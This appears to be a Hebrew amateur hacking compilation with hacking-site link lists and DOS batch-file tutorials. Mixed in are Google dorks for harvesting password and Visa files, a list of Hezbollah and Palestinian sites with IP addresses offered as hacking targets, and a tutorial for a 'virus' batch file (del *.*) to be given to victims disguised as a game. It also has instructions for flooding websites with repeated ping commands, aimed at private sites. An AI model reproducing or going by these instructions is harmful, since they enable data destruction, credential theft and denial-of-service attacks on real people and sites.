אמצעי אחסון מגנטי הניתן לשימוש חוזר .התקליטון הנמצא בשימוש כיום הוא המיקרו-תקליטון
הקשיח בגודל 3.5אינץ' ,המכיל .1.44 MBבאנגלית הוא מכונה ( Floppyגמיש) משום
שהסוגים הראשונים של התקליטונים יוצרו במעטפת הניתנת לכיפוף.
תקליטור הניתן להקלטה חוזרת ( )CD-Rאו תקליטור הניתן לכתיבה חוזרת ( .)CD-RWניתן
לצרוב נתונים לתקליטור במספר פעמים .תקליטורי CD-RWניתנים גם למחיקה.
הפסיקה המתרחשת כאשר תוכנה מנסה לקרוא ממיקום של זיכרון וירטואלי המסומן כלא קיים
או לכתוב אליו.
במנהל המשימות ,תקלת קובץ החלפה היא מספר הפעמים בהן יש לאחזר נתונים מדיסק עבור
תהליך משום שהוא לא נמצא בזיכרון .ערך תקלת קובץ ההחלפה מצטבר מהרגע בו התהליך
החל.
ראה גם :הפרש תקלות קובץ החלפה; זיכרון וירטואלי; מנהל המשימות
תקני אפנון
פרוטוקולים הקובעים את האופן בו התקני מודם ממירים נתונים דיגיטליים לאותות אנלוגיים
שניתן לשדרם דרך קווי טלפון.
בתחילה Bell ,יצרה תקני אפנון ששימשו בארצות הברית ו CCITT -יצרה המלצות
בינלאומיות CCITT( ITU-T .בשמה הקודם) מכינה כעת המלצות המקובלות על יצרני מודמים
באופן גורף הן ברחבי העולם והן בארצות הברית .המלצות הסידרה ( ITU-T Vכגון V.34ו-
)V.90מגדירות תקשורת נתונים דרך רשת הטלפון .הסיומות -bisו( -ter -לדוגמה)V.32bis ,
באות לציין גירסאות מתקדמות.
תקשורת אלחוטית
תקשורת בין מחשב אחד למחשב אחר או להתקן אחר ללא כבלים .בצורת התקשורת האלחוטית
הניתנת כחלק ממערכת ההפעלה של Windowsנעשה שימוש באור אינפרא-אדום לשידור
קבצים .תדרי רדיו ,המשמשים בטלפונים סלולריים ואלחוטיים ,הם צורה אחרת של תקשורת
אלחוטית.
תרגול
תהליך שבו מנגנון זיהוי הדיבור לומד לזהות את קולך ואת אופן הדיבור שלך .מנגנון הדיבור
מחפש דפוסים באופן בו אתה מדבר ,המאפשרים לו להעלות את רמת הדיוק בעת הכתבת טקסט.
492
תרגול המנגנון מתבצע על-ידי הקראת טקסט באשף התרגול ונמשך בעת הכתבת טקסט במהלך
העבודה.
HFM
493
אתרי האקינג
:עברית
/http://www.hasatan.up.co.il
/http://www.revange.up.co.il
/http://ninja_place.tripod.com
/http://planet.nana.co.il/hs666hs
/http://www.viper.up.co.il
http://www26.brinkster.com/zooz12/kishurim.htm
/http://vbgames.up.co.il
http://webmaster.org.il/desktop.asp
/http://www.dr-vb.co.il
/http://www.cyber-chaos.up.co.il
/http://www.israblast.vze.com
/http://hasatan.up.co.il
http://www.geocities.com/mahshevim2000/texts/html/hacking_basics.
htm
/http://red-board.co.il
/http://www.2600-il.8m.net
/http://progunderground.tripod.com
/http://www.faithless.up.co.il
http://www30.brinkster.com/matrif/Frames.htm
/http://313-zine.cjb.net
/http://www.m0sad.co.il
/http://www.matrix-zine.up.co.il
/http://www.cyber-chaos.up.co.il
/http://www.israblast.vze.com
:אנגלית
/http://packetstorm.widexs.nl
/http://ossr.phpwebhosting.com
http://www.all-nettools.com/pr.htm
http://blacksun.box.sk/tutorials.html
/http://www.bombshock.com
/http://www.cyberarmy.com
http://www.dslreports.com/tests
http://64.91.238.202/evilinside/tutorials.asp
http://www.net-security.org/articles_main.php
http://www.mirrors.wiretapped.net/security/packet-
/capture/pdump/pdump/lib
http://www.guninski.com/browsers.html
494
/http://www.lookup.nl
http://www.megasecurity.org/Main.html
http://www.elfqrin.com/nqt.php
/http://www.securiteam.com
/http://users.ldproxy.com/maniac
/http://www.ussrback.com
/http://www.demcom.com
http://www.zone-h.org
http://www.intersurf.com/~materva/files.html
http://www.2600.com
/http://www.aspentech.com
http://www.engin.umich.edu/~jgotts/underground/boxes.html
/http://www.etext.org/Zines
http://www.mgmua.com/hackers/index.html
http://www.wired.com
asylum.sf.ca.us
http://www.antionline.com/index.php
/http://packetstorm.widexs.nl
http://www.crackinguniversity2000.it/hacking1.html
/http://www.protools.cjb.net
/http://pulhas.org/tools
/http://www.spychecker.com
/http://sysadmin.oreilly.com
/http://www.hackpalace.com
/http://www.oreilly.com/openbook
?http://www.informit.com/free_library/index.asp
/http://www.crackinguniversity2000.it/51pcBOOK
http://www.crackinguniversity2000.it/programming.html
/http://www.jc2k.com
http://www.planet-source-code.com/vb/default.asp?lngWId=2
http://www.gatescript.com/index.html
/http://www.designerwiz.com
/http://programmersheaven.com
/http://www.scriptsearch.com
http://www.huntingground.freeserve.co.uk/main/mainfram.htm
http://www.datenwerk.ch/evil-script1.html
/http://webfx.eae.net
/http://www.planet-source-code.com/vb
/http://www.vbcode.com
/http://www.thescarms.com
http://www.a1vbcode.com
http://www.leader.ru/secure/who.html
495
/http://atomintersoft.com/products/alive-proxy/online-proxy-checker
http://www.anonymitychecker.com/index.html
http://www.findproxy.com/index.html
/http://tools.rosinstrument.com/proxy
http://www.icdatamaster.com/a.html
/http://filext.com
http://www.flumps.org/ip/index.html
http://home.xnet.com/~efflandt/ip2host.html
/http://www.astalavista.box.sk
.http://www.gamescopyworld.com
http://www.robertgraham.com/pubs/hacking-dict.html
/http://www.astalavista.com
http://www.phrack.org
http://hackingtruths.box.sk
/http://www.blacksun.box.sk
/http://www.black.box.sk
/HTTP://WWW.NEWORDER.BOX.SK
:אחר
http://www.crackpltools.prv.pl
HFM
496
איך לקבל כל סיסמה או מספר ויזה
כנסו לגוגל
www.google.co.il
ותחפשו נושא כזה:
"inurl:"password.txt
נכון ...זה יתן לכם ממש הרבה קבצים של פורומים/דטא בייס...
של כל מיני שרתים...של הסיסמאות...
תחשבו לרגע איזה לא מאובטחים כל האתרים האלה?
וזה לא שהמנלים העלו את הקבצים האלה למנוע
זה שהמנוע מחפש ומביא את כל הדטא בייס של כל האתרים
שלא שינו את הברירת מחדל!
אפשר לעשות את זה גם אם השם הזה:
"inurl:"visa.txt
או כל דבר אחר! רק תחשבו איזה לא מוגנים אתם!
HFM
497
IP אתרי חיזבלה לפריצה ואיך משיגים
IP להשיג
מצטער אני לא זוכר ואז את השם של האתרPORT אוPING רושמים או
www.walla.co.il PORT/ PING : למשל
חיזבללה
http://www.hizbollah.com - 212.27.35.65
http://www.hizbollah.org - 206.131.241.16
http://www.hezbollah.org
http://www.nasrallah.net
http://www.hizballa.org
http://www.manartv.com - 128.241.205.86
http://www.almanar.com.lb
http://www.alnoor.com
http://www.ummah.net - 217.173.79.18
http://noor2000.webjump.com
http://www.geocities.com/hizbollah2000lb
http://members.tripod.com/hizbollah2000lb
http://imamah.webjump.com
http://hizbollah.webjump.com
http://www.geocities.com/hizbforce
http://216.147.45.137
http://www.moqawama.org
http://www.p-ol.com
http://www.pecdar.org
http://www.palnet.com
http://www.paltrade.org
http://www.palestine-online.com
http://www.palestine-net.com
http://www.palestinedaily.com
http://www.ptimes.com
http://www.alquds.org
http://www.israeldefenseforce.org
http://www.israeldefenseforce.net
http://www.israeldefenseforce.com
http://www.israelbitches.com
http://www.jewwatch.com
http://www.palestine-info.net
http://www.pna.net
http://www.pna.org - 62.90.25.195
http://www.abbc.com
http://www.radioislam.org
498
HFM
499
Batch
חסרונות:
* אין בשפה הזאת גרפיקה מי יודע מה( ...מה אתם רוצים? הקבצים שלה רצים על )DOS 6.0
יתרונות:
* אחלה מורה (אני כמובן )...שיסביר לכם צעד אחר צעד כיצד לעשות כל דבר
* השפה ממש לא מסובכת!
* לא דרושים שום תוכנות מסויומות בשביל לתכנת .batch-files
* סביבת התכנות
* פקודות בסיסיות בDOS -
* התוכנית הראשונה שלי (כמו בכל הספרים)
אוקי ,בואו ניגש לעבודה -בשביל לעבוד בצורה נוחה פיתחו תיקייה בשם batchבתוך הmy -
( documentsהמסמכים שלי) שלכם.
תקישו לחצן שמאלי בעכבר ,וצרו מסמך טקסט (כן ,כן ,טקסט) חדש ,קראו לקובץ" :
."first_batch
זהו -זוהי סביבת העבודה שלכם.
בעצם קובץ ה BATCH-FILES -הוא מיקבץ של פקודות (עם כמה הוספות חשובות) שרצות
ברגע שמפעילים את הקובץ.
בשביל שלא תיראו אידיוטים פתחו את הקובץ וכתבו בו כך:
500
אחרי שכתבתם את זה -לחצו קובץ ( )fileשמירה בשם ( )save asלא משנה מה כתוב שם ,מחקו
את זה וכתבו בתיבה של שם הקובץ את הדבר הבא במדויקfirst_batch.bat :
צאו מהקובץ טקסט ,ושימו לב שיש לכם קובץ חדש בספרייה שלכם ,פתחו אותו ותראו מה
קרה...
נחמד ,אה?
------------------------------------------------------------------------------
------------------
העתיקו את הטקסט שנמצא בין שני הקווים המקווקוים (העתיקו זאת ללא הקווים עצמם) -אל
קובץ טקסט חדש ,לחצו שמירה בשם ( )save asוהקלידוsecond-batch.bat :
הפעילו את הקובץ...
מה קרה?
זה מה שקרה:
נפתח חלון DOSוהיה כתוב שם !hello world
עכשיו ננסה לפענח איך זה קרה!
נתחיל מהחלק הראשון של הקוד:
- @echo offפקודה זו ,פשוט אומרת למחשב לא להראות את כל המקורות של הקובץ ,נסו
להפעיל את ה batch -ללא הפקודה ותראו מה קורה.
set dk9=hello
set hacking=world
אוקי ,פה זה כבר נהיה מסובך ,ישנו דבר שנקרא משתנה (הקטע על המשתנים נועד לאלה שלא
למדו שום שפת תכנות ,אם אתה יודע מהו משתנה -עבור לפסקה הבאה) ,ה"משתנה" כשמו כן
הוא -הוא ניתן לשינוי ,בואו ניתן הדגמה קצרה:
אני למחשב :קבע שבתול משתנה Xיהיה כתוב ""dk9
501
אני למחשב :כתוב את מה ש X -מכיל
פעולה (מה שיקרה כתוצאה מ"התוכנה" שעשיתי)dk9 :
זוהי בדיוק הפעולה שאנו עושים ב:
set dk9=hello
set hacking=world
שימו לב:
כשאנו כותבים:
set dk9=hello
מה שהמחשב עושה זה כך:
הוא מקצה חלק מסוים בזיכרון של המחשב וקורא לו ,dk9אחרי זה אנו יכולים לראות את סימן
ה ,"=" -זה אומר להכניס לקטע dk9שהוקצא מקודם את התוכן "."hello
החלק הבא:
set hacking=world
אותו דבר בדיוק ,רק הפעם אנו קובעים משתנה עם שם אחר ( )hackingועם תוכן שונה (
.)world
משחק ילדים אה...
!dk9 hacking
מה שעשינו בשביל שהמחשב יזהה שה dk9 -וה hacking -הם משתנים ושיכתוב את התוכן
שלהם ו-ל-א את השם שלהם זה פשוט שמנו %בתחילת שם המשתנה ,ו % -בסוף שם
המשתנה.
אם אתם שמים לב -ישנו ! שאינו אם ,%%זה בגלל שלא הגדרנו את ! כמשתנה ,אנו פשוט
רוצים שהמחשב יכתוב:
! heloo world
| | |
ל כ כ
ל= לא משתנה
כ= כן משתנה (שגדרנו בתחילת התוכנית)
HaSaTaN
502
Batchהמשך
אחרי שלמדנו פעם שעברה כיצד לקבוע משתנים ,אנחנו יכולים לעבור לפקודות הבאות (מומלץ
לחזור בריפרוף על המדריך הקודם) ,הנה הפקודות שנלמד היום:
CALL .1
ECHO .2
FOR .3
GOTO .4
IF .5
PAUSE .6
REM .7
בסוף המדריך ,תהיינה דוגמאות על כל פקודה ופקודה ,אז על תיבהלו אם אתם לא רואים
דוגמאות באמצע המדריך.
הפקודהCALL :
כמשמעה ,פקודה זו "קוראת" לקובץ batch-fileאחר ,אם סתם נריץ מתוך קובץ BATCH
קובץ BATHאחר ,מה שיקרה ,זה ,שהקובץ הקורא יסגר ,והקובץ שעכשיו פועל (הקוץ שלו
קראו) ישאר פתוח .מה שפקודת CALLעושה זה כך:
call dk.bat
בלה
בלה
בלה...
מה שיקרה זה ,הקובץ שבו כתוב call dk.batישאר פתוח ,וכש dk.bat -יגמור את פעולתו הוא
יסגר ,והפעולה תחזור לעשות את:
בלה
בלה
בלה...
הפקודהECHO :
כמובן שהפקודה הזאת זוהי הפקודה להדפסת משהו (או למסך ,או לקובץ ואפילו למדפסת),
לדוגמא:
@echo off
echo dk9
א .התו "@" לפני פקודה כלשהי גורם לפקודה שלא להיכתב על מסך הדוס ,לכן ,במקום לכתוב
לפני כל שורה @ ,ישנה את הפקודה:
@eho off
שזה גורם לכל הפקודות שלא להיכתב על מסך הדוס ,אלא פשוט לבצע אותם בלי שיראו כלום.
ניתן לבטל את זה בשלב מסוים בתוכנית ע"י:
@echo on
וחוזר חלילה ,אם רוצים אחרי זה עוד פעם:
@echo off
הערה:
את ה:
503
@echo off
יש תמיד לשים בתחילת תוכנית ,לא לשים אותו באמצע!
הפקודהFOR :
הפקודהGOTO :
אם אתם מכירים את הפונקציות ב ,Cאו את ה PROCCES -ב ,DIV -זה אותו דבר ,זה
מאפשר לנו לקפוץ מקטעים שונים תוכנית למקומות אחרים ,כמובן שאפשר לעשות "קפיצות על
תנאי" ,דבר שיכול להיות מאוד יעיל.
הפקודהIF :
הפקודהPAUSE :
כשתכתוב PAUSEבאמצע תוכנית ,התוכנית תעצור ותחכה להקשת מקש כלשהו ,יעיל מאוד.
הפקודהREM :
אבל ב ,BATCH -הערות מתחילות אם הפקודה ,REMכל דבר שתכתבו אחרי הפקודה הזאת
לא יופיע בתוכנית.
חשוב מאוד להשתמש בפקודה הזאת ,כדי להסביר קטעים מסוימים ,או פשר של שמות של
משתנים שונים ,כי אחר כך ,פשוט לא זוכרים מה הקטע הזה עושה בתכנית ,אז ה"הערה"
מזכירה את זה.
504
: דוגמאות
######################
echo off@
REM this is sample1.bat
."REM this prog, calls "hello.bat
######################
: כיתבוhello.bat :ובתוך
echo off@
."REM this prog, just write: "hello world
."echo we are now in "hello.bat
!echo hello world
######################
:) זה מה שתקבלו (תישרו לשמאל,sample1.bat הפעילו את,עכשיו
אני יסביר- למי שלא הבין, שיעבור לפיסקה הבאה, למי שכבר הבין מה הולך כאן, עכשיו,יפה
:עכשיו
: כתבנוsample1.bat :ב
echo off@
REM this is sample1.bat
."REM this prog, calls "hello.bat
505
*** echo
!"echo we are back in: "sample1.bat
בהתחלה ,כתבנו echo off@ :וזה ביטל לנו את הופעת הפקודות על המסך.
מייד אחרי זה יש לנו הערות לגבי הקובץ sample1.batומה הוא עושה.
אחרי זה מובאת הפקודה echoשמוציאה פלט על המסך ,מה היא הוציאה? את זה:
."we are now in "sample1.bat", and we are calling "hello.bat
וגם שורה אחרי זה יש לנו עוד פעם את ,echoרק שהפעם הוא כותב:
***
עכשיו הקטע היותר מעניין ,אנחנו עכשיו "קוראים" לקובץ .hello.bat
עכשיו תדמיינו שמיזערנו את sample1.batוהפעלנו את . hello.bat
לאחר ש hello.bat -סיים את פעולתו ,אנחנו חוזרים ל sample1.bat -ושם אנחנו כותבים:
*** echo
שמוציא לנו את הפלט הבא:
***
ומיד אחרי זה עוד echoשכותב לנו על המסך:
"we are back in: "sample1.bat
הנה הקוד:
@echo off
REM i gave the name tmp_hello.bat beacuse "tmp" is a shortcut of temprory, in
:hebrewזמני
echo @echo Hello World > tmp_hello.bat
call tmp_hello.bat
del tmp_hello.bat
506
<
הערה:
במקרה שאין כזה קובץ ,יווצר קובץ חדש ,ויוכנס לתוכו מה שאמרנו ל sample2.bat :להכניס
לתוכו.
בשלב הבא של התכנית ,אנחנו "קוראים" ( )callלקובץ שיצרנו.
ומיד אחר מכן אנחנו מוחקים את הקובץ ,לכן קראנו לו , tmp_hello.bat :בגלל ש= tmp -
זמני....
אתם יכולים למחוק את השורה האחרונה ( del tmp_hello.batשמוחקת את הקובץ שיצרנו),
ואז כשתפעילו את הקובץ ,אתם תראו בתיקייה שבא הפעלתם את הקובץ ,קובץ חדש בשם:
tmp_hello.bat
התוכנית הבאה ,די דומה לתכנית הקודמת ,אבל מראה לנו את ההבדל בין < :ל.<< :
העתיקו את זה לתוך קובץ בשםsample3.bat :
@echo off
REM this is a bit complicated prog, read the describe on the paper
echo @echo off > hello.bat
echo echo hello world >> hello.bat
echo echo how are you? >> hello.bat
call hello.bat
כשאנו רוצים להוסיף שורה בקובץ מסוים ,אנו משתמשים ב<< :
ה << :מוסיף לקובץ הקיים את מה שכתבנו לפני ,לכן אפשר להשתמש ב << :רק כשיש קובץ
קיים כלשהו.
בשורה הבאה אנחנו מוסיפים עוד שורה ל ,hello.bat :הפעם את השורה הזאת:
?echo how are you
הערה:
יש לזכור שעדיין לא הראנו למשתמש שום דבר על המסך ,הכל נעשה בלי ידיעת המשתמש!
הוא לא רואה כלום ,רק יצרנו קובץ ( ,)hello.batוכתבנו בו:
507
@echo off
!echo hello world
?echo how are you
הדבר הבא שאנחנו עושים בתכנית זה לקרוא לקובץ שיצרנו בעמל רב כל כך ע"י הפקודה:
call hello.bat
עכשיו יופיע לנו כל מה שהכנסנו לתוך !hello.bat
HaSaTaN
BATCH
טוב ,אז מה זה קובץ אצווה?
508
קובץ אצווה זה קובץ עם סיומת ( batלא כמו תחת באנגלית ...אל תדאגו ,גם זה
יגיע .)...עכשיו ,היום אנחנו הולכים לתכנת לנו כמה דברים ...נתחיל בעצם
מפקודות בסיסיות של .Ms-Dosקודם כל כנסו לתפריט "התחל" ,ואז ל" -הפעלה".
תכתבו שם את המילה Commandכדי לפתוח חלון Ms-Dosחדש .הנה הפקודות:
- cd.. )1מחזיר אותנו תיקייה למעלה .חלק חשוב מדיפדוף בדוס ,חלק הרבה
פחות חשוב לנו כרגע...
)2תיקייה - cd +מכניס אותנו לתיקייה או לתת סיפרייה חדשה .למשל ,אם
אנחנו בכונן ,Cואנחנו רוצים מאוד מאוד להכנס לתיקייה ,Windowsאז
נכתוב ככה( Cd Windows :ואז נלחץ על אנטר).
- dir )3מראה את כל התיקיות והקבצים בתיקיה הנוכחית .למשל ,אם אתם בכונן
,Cותכתבו ,dirותלחצו על אנטר ,יהיו כתובים לכם כל התיקיות והקבצים,
יחד עם עוד קצת אינפורמצייה (גודל הקבצים ,סיומות וכאלה).
- << )4כתיבה לקובץ .כנסו לכונן ( Cבעזרת פקודת .)Cd..כתבו ככה:
dir >> Fuck.txtואז לחצו על אנטר .זה בעצם אומר למחשב לקחת את הפקודה
,dirשמראה את הקבצים והתיקיות ולשים את התוצאה בקובץ .Fuck.txtבגלל
שאנחנו בתוך כונן ,Cולא באף תת סיפרייה או תיקייה אחרת ,אז הקובץ
יהיה בתוך כונן .Cתצאו מ Ms-Dos -ע"י כתיבת המילה ( Exitולחיצה על
אנטר .)...אתם בוינדואוז כמובן ...כנסו לקובץ שיצרנו (.)C:/Fuck.txt
ראיתם? יופי!
- X: )5כדי לעבור כונן ,תכתבו ככה ,אבל במקום Xתכתבו את אות הכונן.
- Cls )6תכתבו את זה כדי לנקות את המסך מהבולשיט הקודם .אני חושב שCls -
זה קיצור של ,CLean Screenאבל אני לא בטוח .לא משנה ,העיקר שיש פקודה
חדשה שבעצם לא נותנת כלום.
- Del )7למחוק קובץ .מאוד מאוד מאוד שימושי לאלה שרוצים לגרום נזק.
- Ping )8טוב מאוד להפלת אתרי אינטרנט .אל תנסו עכשיו ,אחר כך אני אראה
לכם מה זה לעזאזל ,אבל בת'כלס קל לתפוס אתכם אחרי זה...
פקודות חוץ הם פקודות שמשפיעות על המערכת ועל הפלט בתוך קובץ אצווה .טוב,
אז הנה הפקודות שתצטרכו:
- @ECHO OFF )1גורם למשתמש לא לראות את כל הבולשיט של התוכנית .מומלץ.
- @ECHO ON )2ההפך מהפקודה הקודמת ,לא מומלץ בכלל.
- @ECHO )3כתיבת טקסט רגיל לתוכנית.
- @PAUSE )4מחכה לתגובה מהמשתמש (התגובה היא בעצם לחיצה על מקש) .פקודה
זו באה עם הטקסט Press Any Key To Continueאו משהו כזה .עכשיו ,כדי
לרשום הודעה אישית ולא את ברירת המחדל המציקה הזאת ,תעשו משהו כזה:
@ECHO Fuck You, And Press Any Key, Mother Fucker
@PAUSE>NUL
הסבר :השורה הראשונה היא הטקסט שיהיה לפני הלחיצה על המקש של המשתמש,
והשורה השנייה מחכה ללחיצה מהמשתמש .המילה NULבעצם גורמת להעלמת
ברירת המחדל של פקודת ה.PAUSE -
509
אוקי .הבנתם פחות או יותר את הפקודות .פתחו את ה .Notepad -אם אתם לא
יודעים מה זה ,אז זה פנקס הרשימות שבא עם וינדואוז .כנסו לתפריט "התחל",
לחצו על "הפעלה" ,כתבו שם את המילה Notepad :ולא לשכול ללחוץ "אנטר".
עכשיו ,תרשמו ככה (קונטרול ושיפט):
ECHO@ Fuck
יופי .עכשיו תלחצו למעלה על תפריט "קובץ" ,ואז על "שמירה בשם" .תשמרו את
זה בכונן ,Cבשם Try.batואז תסגרו את הכתבן .פתחו את הקובץ שיצרנו דרך
הוינדואוז C:/Try.bat :ואז תראו מה כתוב .יופי! אדיר! מגניב! עכשיו עשינו
את הצעד הראשון בתכנות של דוסים!!! זאת אומרת ,של !Ms-Dosאחלה! עכשיו
הגיע הקטע הכי שווה פה :ליצור וירוסים!!! הסימן * (כוכבית) מסמן כל דבר
בתור סטרינג (מחרוזת) .לא משנה .העיקר הוא שעם אנחנו רושמים * *.אז אנחנו
אומרים למחשב לזהות כל קובץ בעל כל סיומת (כל קובץ מחורבן על המחשב!) .אז
פשוט אפשר לעשות ככה :לכתוב * ,del *.ואז לשמור בתור קובץ אצווה ,ממש כמו
שעשינו מקודם .אבל חשוב מאוד :אל תריצו את הקובץ!!! אל תפתחו אותו!!! אם
הבנתם את הפקודה נכון ,אז תדעו שהפקודה אומרת למחשב למחוק כל קובץ שקיים
על המחשב!!! אז אפשר לתת את הקובץ למישהו ,ולומר לו שזה משחק .זה הוירוס
הכי פשוט שאפשר לעשות ...בקטע של וירוסים אפשר להיות מקוריים מאוד .אני
בקטע של להעביר מסרים וכאלה ,כמו זה (קונטרול ושיפט):
@ECHO OFF
@ECHO Microsoft Stinks
*del *.
הבנתם?! נסו להיות כאלה בהתחלה .אם אתם ממש כישרון בציור במחשב וכאלה,
נסו להעביר מסר יותר בוטה ,כמו זה (עוד פעם קונטרול ושיפט):
@ECHO OFF
@ECHO \\ \\\\\\\\\\\\ \\\\\\\\\ \\
@ECHO \\\\\\\\\\\\ \\\\\\\\\ \\ \\ \\
@ECHO \\ \\ \\ \\ \\
@ECHO \\ \\ \\ \\ \\
@ECHO \\ \\ \\ \\ \\
@ECHO \\ \\ \\ \\ \\
*del *.
נסו לראות מה כתוב שם .כתוב "חרא" .אל תשכחו להוסיף את .@ECHO
אוקי .עכשיו להפלת שרת אינטרנט .אתם צריכים:
)1מחשב
)2מקלדת
)3ידיים להפעיל את המקלדת
Ms-Dos )4
אם יש לכם הכל אז בסדר ,אם לא אז או שאין לכם מחשב או שאין לכם ידיים.
טוב ,עכשיו ,זוכרים את הפקודה ?Pingיופי .אם נגיד אתם רוצים להפיל את
כתובת האיי.פי ,127.0.0.0אז תכתבו ככה:
אבל לא פעם אחת ,אלא מיליון פעם! אחד מתחת לשני! ככה:
510
ping 127.0.0.0 /l 10000
ping 127.0.0.0 /l 10000
ping 127.0.0.0 /l 10000
ping 127.0.0.0 /l 10000
אבל יותר פעמים ...זה יוצר עומס יתר ...טוב ,להשיג כתובת איי.פי אני לא
חושב שתהיה לכם בעייה .רגע -רגע -רגע! אבל מה אם אתם לא יודעים מה זה
איי.פי? טוב ,נו ,הסבר קצר :לכל מחשב יש כתובת איי.פי .איי.פי זה קיצור
של אינטרנט פרוטוקול (אני חושב ...יש לי בעייה עם ראשי תיבות .)...אז
נגיד שאנחנו רוצים להפיל אתר .ניקח סתם אתר ...נגיד מייקרוסופט ...סתם
באופן אקראי בחרתי (כן בטח )...את האתר הזה .תפתחו חלון Ms-Dosותרשמו
Tracert microsoft.comואז תנו אנטר .כמובן שאתם צריכים להיות מחוברים
לאינטרנט ...מה שעשינו פה זה בעצם לראות דרך איזה מחשבים עברנו כדי להגיע
לאתר של מייקרוסופט .תסתכלו על הכתובת האחרונה ברשימה .באותה שורה צריך
להיות מספר .זה מספר האיי.פי של האתר .עכשיו ,תפתחו את הכתבן ,תשתמשו במה
שלמדנו קודם ( ,)pingואז תשמרו בתור קובץ אצווה .הריצו את קובץ האצווה
שיצרנו ,ואיזה פלא! אנחנו מתקיפים את האתר!!! נסו בהתחלה דברים קצת יותר
קטנים כמו אתרים פרטיים וכאלה ...טוב ,אז זה המדריך ל .Ms-Dos -מקווה
שבכלל הבנתם משהו.
Crossbow
BATCHהמשך
511
היום נעבוד על הפוקנציות הכי שוות שיש באם אס דוס...
בעזרת פונקציות כאלה תוכלו ליצור תוכנה משלכם (!) באם אס דוס!!! חחחחח...
טוב ,בואו נתחיל .אני מניח שחלק מכם מכירים חלק מהפונקציות ,אבל שיהיה...
LOCK
CHOICE
באם אס דוס ,בניגוד למערכות הפעלה אחרות ,כשהמערכת מבקשת קלט מהמשתמש,
הקלט בדרך כלל ישקול ביט אחד (יעני אות אחת ועוד אנטר .)...והאמת היא שזה
די חבל ,כי זה נותן הגבלות די גדולות .לא נורא .ברירת המחדל של הפונקצייה
הזאת היא כן או לא ,יעני האם אתה מסכים או לא .זאת בדיוק הפונקצייה שעולה
כשמנסים למחוק את כל הקבצים מהמחשב בלחיצה אחת ,יעני *.* delהמערכת תשאל
האם אתה רוצה למחוק את הכל ...אפשר לכתוב אחרי הפונקצייה את מה שרוצים.
לדוגמא :אם אנחנו רוצים לשאול את המשתמש "האם ברצונך לפרוץ לטייגרס"? ,אז
נכתוב ככה:
?CHOICE Do you want to hack Tigers co
אבל אם נריץ את זה באם אס דוס זה ייראה בערך ככה:
]Do you want to hack Tigers co? [Y,N
טוב? עכשיו נעבוד על פונקצייה קשה מאוד שקשורה לפונקציית בחירה .אנחנו
רוצים לעשות שאם המשתמש בחר "כן" אז יקרה ככה וככה ,ואם הוא בחר "לא" אז
יקרה ככה וככה ...ואיך אנחנו עושים את זה? תמשיכו לקרוא...
טוב ,מי שלא מכיר פונקציית תנאי ,שיכיר .זה מורכב בעיקר משני חלקים:
התנאי שאם ייקרה ,והתוצאה ,יעני מה שיקרה .מי שיודע ויזואל בייסיק או סי
פלוס פלוס ברמה של מתחילים ומעלה יודע מה זה פונקציית תנאי .עכשיו ,מה זה
פונקציית מעבר? פונקציית מעבר (גו טו) מעבירה את התוכנה למקום אחר בקוד
המקור ההתחלתי .נשמע מסובך? לא נורא ...נגיד שאני כותב לו ...GOTO HELL
התוכנה מחפשת מקום שכתוב בו נקודותיים ואז את המילה ...HELL
זה בערך ככה לחצו על קונטרול ושיפט השמאליים כדי להבין מה הולך פה:
HELL:
@ECHO Fuck
GOTO HELL
אם הבנתם טוב טוב ,התוכנה כותבת מילה כלשהי (פונקציית אקו ,מי שלא יודע
לעזאזל מה זה שייקרא בטקסט על תכנות קבצי אצווה ומיד!!!) ,ואז חוזרת
להתחלה ,כי ההתחלה נקראת "האלל" וכתוב לתוכנית ללכת ל" -האלל" .אני מקווה
מאוד שאתם לא מריצים את זה עכשיו ,כי זאת (בערך) לולאה אינסופית ...אם
התוכנית בהרצה ואתם עדיין יכולים לקרוא מה שכתוב פה ,הייתי מציע לכם מאוד
מאוד מאוד לכבות את המחשב ...ולהדליק מחדש כדי להמשיך לקרוא ...טוב ,בואו
נראה ,יש עוד משהו שלא הסברתי ...כן! פונקציית ארורלבל!!! הפונקצייה הזאת
מתייחסת לאופצייה שבה בחר המשתמש .אם המשתמש בחר באופצייה הראשונה ,אז זה
נקרא ארורלבל ,1אם באופצייה השנייה אז זה נקרא ארורלבל 2וכן הלאה .אז,
מה זה עוזר לנו? הממממ ...איזה פונקצייה אנחנו מכירים שמשתמשת באופצייות?
פונקציית בחירה כמובן!!! אז ,אם המשתמש בחר באופצייה הראשונה (כן) ,אז
יקרה ככה וככה ,ואם בשנייה (לא) אז ככה וככה ...עכשיו ,בניתי פה קוד מקור
של תוכנה מסכנה ,שתבינו יותר טוב .לחצו על קונטרול ושיפט השמאליים לקרוא:
ECHO OFF
?CHOICE Do you want to exit
IF ERRORLELEL 1 GOTO ERR1
512
IF ERRORLEVEL 2 GOTO ERR2
ERR1:
CLS
!ECHO You little asshole! Don't activate this program again
PAUSE>NUL
GOTO END
ERR2:
CLS
...ECHO You will quit anyway because I'm in a bad mood
PAUSE>NUL
END:
CLS
!ECHO See ya next time, Jackass
.ECHO Made by Crossbow from the Tigers co
ECHO Log in to http://www.tigers.exe.co.il
PAUSE>NUL
EXIT
CHOICE OPTIONS
פחחחחחחח ...דרך אגב ,אתם יודעים שאפשר לשנות את פונקציית הבחירה? אפשר
להשתמש בדברים אחרים במקום ברירת המחדל ...אפשר לכתוב ככה:
CHOICE /C:abcdefghijklmnopqrstuvwxyz
טוב ,קצת הסברים:
CHOICE
זאת פונקציית הבחירה ...אני מקווה מאוד שאני לא צריך להסביר שוב...
:C/
זאת התת פקודה שאומרת למערכת שאני לא רוצה להשתמש בברירת מחדל...
abcdefghijklmnopqrstuvwxyz
אלה כל האופציות ...כל אופצייה באה בתור תו אחד ...זה ייראה ככה:
[]A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z
EXIT
מי שלא מבין זאת פקודה שיוצאת ...אפשר גם לכתוב winאבל אני מעדיף אקסיט.
טוב ,אני חושב שזה מספיק ,אני חייב לנוח קצת ...אז תתכנתו ,כי זה עושה את
האצבעות שלכם בידיים ממש ממש ממש ממש ממש ממש חזקות!!! שלכם,
Crossbow
513
BATCHבעיברית
טוב ,עכשיו נרגעתי .טוב ,אז ,איך כותבים בעברית באם אס דוס? האמת היא
שכאשר אתם באם אס דוס ,המקלדת מכוונת תמיד על אנגלית ,ובגלל זה אי אפשר
לכתוב בעברית .אז ,אני לא מדבר פה על עברית בחלון אם אס דוס ,אלא בתוך
קבצי אצווה .עכשיו ,תאמינו או לא ,גיליתי את זה כשניסיתי לפצח את הטבלת
